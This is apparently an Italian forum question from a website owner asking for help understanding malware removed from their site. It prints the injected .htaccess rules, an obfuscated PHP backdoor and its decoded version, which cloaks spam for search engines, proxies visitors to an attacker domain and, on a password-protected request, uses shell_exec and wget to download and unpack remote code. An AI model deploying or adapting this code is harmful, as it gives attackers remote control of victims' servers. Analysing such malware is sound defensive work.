Il mio servizio di hosting mi ha aiutato a identificare un problema e abbiamo rilevato il seguente malware possibile (che, ovviamente, abbiamo rimosso). Sfortunatamente, non sono molto tecnico, quindi mi sto sforzando di capire cosa potrebbe significare.
È disponibile in due parti.
prima
Le seguenti righe sono state aggiunte all'inizio del file .htaccess .
RewriteEngine On
RewriteCond %{ENV:REDIRECT_STATUS} 200
RewriteRule ^ - [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^([^/]*)/$ collaborator-idiom.php?$1 [L]
ErrorDocument 404 /index.php
(Vale la pena notare che questo sito Web non ha un file index.php .)
Da quanto ho capito, questo significa che se c'è un errore nell'accedere a una pagina e proviene da un motore di ricerca, deve reindirizzare a collaborator-idiom.php . Ho capito bene?
Secondo
Il file collaborator-idiom.php è offuscato in PHP. Ho provato a de-offuscarla utilizzando diversi strumenti trovati su Internet, ma tutti senza successo. Il contenuto, tutto in una riga, segue.
<?php $dboaxv="\x63".chr(114).chr(101).chr(97).chr(116)."\x65"."_"."\x66".chr(117).chr(110)."c"."\x74".chr(105).chr(111)."\x6e";$fyumyl = $dboaxv('$a',strrev(';)a$(lave')); $fyumyl(strrev(';))"==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"(edoced_46esab(lave'));?>
PHP offuscato
set_time_limit(0);
function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL,$url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
$doorcontent="";
$x=@$_POST["pppp_check"];
$md5pass="e5e4570182820af0a183ce1520afe43b";
$host=@$_SERVER["HTTP_HOST"];
$uri=@$_SERVER["REQUEST_URI"];
$host=str_replace("www.","",$host);
$md5host=md5($host);
$urx=$host.$uri;
$md5urx=md5($urx);
if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));}
$cdir=$tmppath."/.".$md5host."/";
$domain=base64_decode("ay1maXNoLWthLnJ1");
if ($x!=""){
$p=md5(base64_decode(@$_POST["p"]));
if ($p!=$md5pass)return;
if (($x=="2")||($x=="4")){
echo "###UPDATING_FILES###\n";
if ($x=="2"){
$cmd="cd $tmppath; rm -rf .$md5host";
echo shell_exec($cmd);
}
$cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
echo shell_exec($cmd);
exit;
}
if ($x=="3"){
echo "###WORKED###\n";exit;
}
}else{
$curx=$cdir.$md5urx;
if (@file_exists($curx)){
@list($IDpack,$mk,$doorcontent)=@explode("|||",@base64_decode(@file_get_contents($curx)));
$bot=0;
$se=0;
$mobile=0;
if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
if ($bot) {echo $doorcontent;exit;}
if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}
header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
echo '<html><head>' . "\n";
echo '<title>404 Not Found</title>' . "\n";
echo '</head><body>' . "\n";
echo '<h1>Not Found</h1>' . "\n";
echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
echo '<hr>' . "\n";
echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
echo '</body></html>';
exit;
}else{
$crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
echo get_page_by_curl($crurl);
}
}
C'è un modo per dire cosa significa tutto questo, per favore? Una ricerca per collaborator-idiom.php non ha rivelato nulla.
NUOVE INFORMAZIONI
(Grazie al codice de-offuscato di @DKNUCKLES.)
L'ho eseguito su un server virtuale, dove non può fare alcun danno, con un sacco di debug in esso.
Crea il seguente HTML (sostituisci example.com con l'indirizzo del sito web effettivo, meno www. se era presente).
Che orribili persone fanno questo! Se usassero anche la metà della loro intelligenza per creare valore invece di rubarlo o distruggerlo, il mondo sarebbe un posto migliore.
<html>
<head>
<title>WEBSITE.WS - Your Internet Address For Life™</title>
</head>
<frameset rows="100%,*" border="0" frameborder="0">
<frame src="http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com"scrolling="auto">
<noframes>
<p> Your browser does not support frames. Continue to <a href="http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com">http://website.ws/kvmlm2/index.dhtml?sponsor=wildcardform8&template=13&chk=1&domain=example.com</a>.</p>
</noframes>
</frameset>
</html>
Ho parlato troppo presto!
Mio figlio ha determinato che lo script risponde quando gli hacker inviano un segnale specifico, nel qual caso scarica un pacchetto e lo esegue. Non c'è modo di scoprire quale sia il pacchetto. Il pacchetto sarebbe stato scaricato da
http://k-fish-ka.ru/outp/wp/arc/[md5].tgz
dove [md5] è la somma MD5 del tuo nome di dominio (senza www. se presente).